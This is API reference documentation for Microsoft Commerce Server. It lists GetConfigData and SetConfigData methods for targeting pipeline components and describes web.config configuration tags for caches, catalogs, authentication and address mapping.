Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


RecordEvent Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


RecordEvent.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

RecordEvent Class


RecordEvent.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

RecordEvent Class


RecordHistory Class (PIA)

Provides a user interface to the configuration data for the RecordHistory object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


RecordHistory Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


RecordHistory.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

RecordHistory Class


RecordHistory.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

RecordHistory Class


SaveHistory Class (PIA)

Provides a user interface to the configuration data for the SaveHistory object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


SaveHistory Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


SaveHistory.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

SaveHistory Class


SaveHistory.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

SaveHistory Class


ScoreDiscounts Class (PIA)

Provides a user interface to the configuration data for the ScoreDiscounts object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


ScoreDiscount Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


ScoreDiscounts.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

ScoreDiscounts Class


ScoreDiscounts.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

ScoreDiscounts Class


SelectWinners Class (PIA)

Provides a user interface to the configuration data for the SelectWinners object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


SelectWinners Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


SelectWinners.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

SelectWinners Class


SelectWinners.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

SelectWinners Class


SendPrecomposedMessage Class (PIA)

Provides a user interface to the configuration data for the SendPrecomposedMessage object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)


SendPrecomposedMessage Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


SendPrecomposedMessage.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)

See Also

SendPrecomposedMessage Class


SendPrecomposedMessage.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)

See Also

SendPrecomposedMessage Class


ThrottleDMLPerformance Class (PIA)

Provides a user interface to the configuration data for the ThrottleDMLPerformance object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)


ThrottleDMLPerformance Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.


ThrottleDMLPerformance.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)

See Also

ThrottleDMLPerformance Class


ThrottleDMLPerformance.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)

See Also

ThrottleDMLPerformance Class


VerifyMessageBody Class (PIA)

Provides a user interface to the configuration data for the VerifyMessageBody object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)


VerifyMessageBody Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.


VerifyMessageBody.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)

See Also

VerifyMessageBody Class


VerifyMessageBody.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)

See Also

VerifyMessageBody Class


VerifyRecipient Class (PIA)

Provides a user interface to the configuration data for the VerifyRecipient object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)


VerifyRecipient Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.


VerifyRecipient.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)

See Also

VerifyRecipient Class


VerifyRecipient.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)

See Also

VerifyRecipient Class


WriteEvents Class (PIA)

Provides a user interface to the configuration data for the WriteEvents object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: CSFCompLib (in CSFCompLib.dll)


WriteEvents Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.


WriteEvents.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

WriteEvents Class


WriteEvents.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

WriteEvents Class


.NET Configuration Settings

This section describes the Configuration Settings available for use within a web.config file for a .NET-based Commerce Server application. These settings allow you to configure services such as caching, pipelines, and localizable resources by making changes to the Commerce Server section of the web.config file.

For more information about the Commerce Server web.config file, see Configuration Services.

This section contains:

  • addressMap Tag
  • application Tag
  • authentication Tag
  • caches Tag
  • catalog Tag
  • contentSelection Tag
  • messageManager Tag
  • pipelines Tag
  • profile Tag


addressMap Tag

The addressMap tag is a container for the properties that will be mapped from the Profiling System to the Order System at runtime. This tag exists within an orders tag because it is specific to the Order System in Commerce Server. The addressMap tag contains two tags, profileDefinition and property.

profileDefinition Tag

This tag denotes the name of the profile definition that serves as the schema for an address element.

The following table lists the attributes of the profileDefinition tag.

Attribute | Data Type | Description
name | String | The name of the profile. The default value is Address. This attribute is required.

property Tag

This tag denotes a property mapping from the Profiling System to the Order System. Multiple instances of this tag can occur.

The following table lists the attributes of the property tag.

Attribute | Datatype | Description
from | String | The canonical property name in the Profiling System. This attribute is required.
to | String | The field name in the Address dictionary used by the Order System to which the profile property should be mapped. This attribute is required.

The following table lists the default values implemented by this configuration section.

From | To
GeneralInfo.first_name | first_name
GeneralInfo.last_name | last_name
GeneralInfo.address_line1 | address_line1
GeneralInfo.address_line2 | address_line2
GeneralInfo.city | city
GeneralInfo.region_code | region_code
GeneralInfo.postal_code | postal_code
GeneralInfo.ship_to_country | ship_to_country
GeneralInfo.ship_to_state | ship_to_state
GeneralInfo.country_code | country_code
GeneralInfo.address_id | address_id

Example

<orders>
  <addressMap>
    <profileDefinition name="profile-definition-name" />
    <property from="profile-property" to="address-dictionary- property" />
  </addressMap>
</orders>

See Also

Configuration Services


application Tag

The application tag is the root tag of the Commerce Server-specific configuration section in the web.config file. This tag stores basic configuration settings for the application.

In any of the modes, trace messages and Debug exceptions (Checked mode only) are published using a DebugContext instance. The Commerce Server .NET Application Framework provides a default instance (created by CommerceApplicationModule) that logs messages using the ASP.NET tracing mechanism. A Commerce Server site could potentially replace the DebugContext instance with a custom instance that could log the messages to a file or database, for example.

The following table lists the attributes of the application tag.

Attribute Data Type Description
siteName String The name of the site to which the application belongs.

This attribute is required.
mode String The mode of the site: checked, debug, or production.
  • Checked mode is a flag for intensive runtime checks. Checked mode is a superset of Debug mode. It is recommended to run a site in Checked mode before deploying it into production.
  • Debug mode generates debug trace messages that may be helpful in troubleshooting a Commerce Server site while the site is live in production. Forgoes the more intensive checks performed in Checked mode.
  • Production mode has no special checks, only operation messages are traced.

This attribute can be used by other components to determine how to handle exceptions. The default value is production mode.

This attribute is required.

Example

<application siteName="sitename" mode="Checked|Debug|Production">

See Also

Configuration Services

DebugContext Class


authentication Tag

The authentication tag is used to configure the authentication settings used by the CommerceAuthenticationModule class. The detectCookies attribute determines whether or not the application will attempt to detect if the current user's browser is configured to accept cookies or not, enabling applications to fallback into URL mode authentication.

The following table lists the attributes of the authentication tag.

Attribute | Data Type | Description
detectCookies | Boolean | Indicates if the current user's browser is configured to accept cookies or not. This attribute is required.

Example

<authentication detectCookies="true"/>

See Also

Configuration Services

AuthenticationInfo Class

AuthManager Class

AuthTicket Class

CommerceAuthenticationModule Class


caches Tag

The caches tag is a container element for cache tags that are used to configure CacheManager object-based caches in the application. The cache configuration supports a number of default configurations for advertising, discounts, and other common Commerce Server caches. In each case, the cache type has its own default options associated with it; however, the default options can be overridden.

The caches tag contains two tags: cache and config.

cache Tag

This tag defines the beginning of a new cache definition in the web.config file. It can be used both as a container and a marker element, depending on whether or not extended configuration settings (config tags) are required.

The following table lists the attributes of the cache tag.

Attribute | Data Type | Description
name | String | The name of the cache. This attribute is required.
type | String | The type of cache to be configured. Valid values are: Advertising, Discounts, QCI, Tax, Shipping, and Custom. If a known type is specified, then default values are provided for all attributes. Each default value is described in the Cache Types section. The value type is Custom. This attribute is optional.
loaderProgId | String | The COM ProgID of the object used for seeding the cache. This attribute is required if the cache type is set to Custom.
writerProgId | String | The COM ProgID of the object used for writing cache changes to an external source. This attribute is optional.
cacheObjectProgId | String | Used for specifying the object used as transient storage for cached data. The default value is Commerce.Dictionary. This attribute is optional.
refreshInterval | Integer | The number of seconds until the cache expires and the loader is invoked to refill the cache. The default value is zero (0). This attribute is optional.
retryInterval | Integer | The number of seconds the cache manager will wait before attempting to refill the cache if an error is encountered. The default value is 60. This attribute is optional.
maxSize | Integer | Used only when the type attribute is set to Custom or QCI. If specified, the value is set in the CacheSize key of the Cache configuration dictionary used by the cache loader component as specified by the loaderProgId attribute. This attribute is optional.

config Tag

This tag is used for setting arbitrary key/value pairs on the cache configuration dictionary. The cache configuration dictionary created by the runtime will be supplied to both the loader and writer components, and is used as both the LoaderConfig and the WriterConfig dictionary. If a cache has both loader and writer components and wants to provide distinct configuration, it must be done programmatically by accessing the CommerceCache instance in the CommerceCacheCollection created for the site.

If values for data types other than string need to be set, it must be done programmatically.

The following table lists the attributes of the config tag.

Attribute | Data Type | Description
key | String | A key name to set as part of the cache configuration. This attribute is required.
value | String | The value for the specified key. This attribute is required.

Cache Types

If a known type is specified for the type attribute, a set of default values for the configuration is provided. These default values can be overridden programmatically or by setting the values in the configuration itself.

Some of the Cache Types have a dependency on a specific Commerce Server resource. When the CommerceCacheModule creates the caches it also runs checks to ensure that all resource dependencies are satisfied. A CommerceResourceDependencyException is thrown if not.

The following tables list the default values for each configuration setting on a per-cache type basis.

Advertising

The advertising cache has a dependency on the Campaigns resource.

Attribute | Value
loaderProgId | Commerce.CSFLoadAdvertisements
writerProgId | Commerce.CSFWriteEvents
refreshInterval | 300
retryInterval | 60

Discounts

The discounts cache has a dependency on the Campaigns resource.

Attribute | Value
loaderProgId | Commerce.CSFLoadDiscounts
writerProgId | Commerce.CSFWriteEvents
refreshInterval | 0
retryInterval | 60

QCI

The QCI cache has a dependency on the Transactions Config resource.

Attribute | Value
loaderProgID | Commerce.LRUCacheFlush
writerProgID | Null
refreshInterval | 0
retryInterval | 60
cacheObjectProgID | Commerce.LRUCache

Shipping

The shipping cache has a dependency on the Transaction Config resource.

Attribute | Value
loaderProgId | Commerce.ShippingManagerCache
writerProgId | None
refreshInterval | 0
retryInterval | 60

Tax

The tax cache has a dependency on the Transaction Config resource.

Attribute | Value
loaderProgId | Commerce.SampleRegionalTaxCache
writerProgId | None
refreshInterval | 0
retryInterval | 60

Custom

Attribute | Value
loaderProgId | None
writerProgId | None
refreshInterval | 300
retryInterval | 60

Example

<caches>
      <cache name="name"
             type="Advertising|Discounts|QCI|Shipping|Tax|Custom"
             loaderProgId="progid"
             writerProgId="progid"
             cacheObjectProgId="progid"
             refreshInterval="0"
             retryInterval="60"
             maxSize="10">

             <config key="key" value="value" />
      </cache>
</caches>

See Also

Configuration Services

CommerceCache Class

CommerceCacheModule Class


catalog Tag

The catalog tag is used for configuring items specific to the Product Catalog System. There is no configuration that can be done using the catalog tag alone, it is simply a container for other tags.

The catalog tag contains two tags: joinTable and catalogSets.

joinTable Tag

This tag is used for initializing the catalog runtime objects to automatically support joining data with an external data source. It exists within a catalog tag because it is specific to the Product Catalog System. Only a single instance of the joinTable tag can exist at a time.

The following table lists the attributes of the joinTable tag.

Attribute | Data Type | Description
joinType | String | The type of join being done. The following values are valid: innerJoin, outerJoinFull, outerJoinLeft, and outerJoinRight. For more information, see CatalogJoinType Enumeration. This attribute is required.
targetTableName | String | The name of the target table. This attribute is required.
sourceJoinKey | String | The name of the column that will act as the join key from the source table. This attribute is required.
targetJoinKey | String | The name of the column that will act as the join key in the target table. This attribute is required.

catalogSets Tag

This tag is used for configuring the names of the catalog sets that will be used by the runtime to associate users with specific groups of catalogs.

The following table lists the attributes of the catalogSets tag.

Attribute | Data Type | Description
defaultAuthenticated | String | The name of the default catalog set to use for authenticated users. The catalog set should refer to a valid catalog set as configured through the Catalog Sets module in Commerce Server Business Desk. For more information about creating a catalog set, see Creating a Catalog Set. This attribute is required.
defaultAnonymous | String | The name of the default catalog set to use for anonymous users. This attribute is required.

Example

<catalog>
    <joinTable
        joinType="innerJoin | outerJoinFull | outerJoinLeft | outerJoinRight"
        targetTableName="target-table"
        sourceJoinKey="source-join-key"
        targetJoinKey="target-join-key" />
    <catalogSets
        defaultAuthenticated="catalog-set-name"
        defaultAnonymous="catalog-set-name" />
</catalog>

See Also

Configuration Services

Creating a Catalog Set

CatalogContext Class


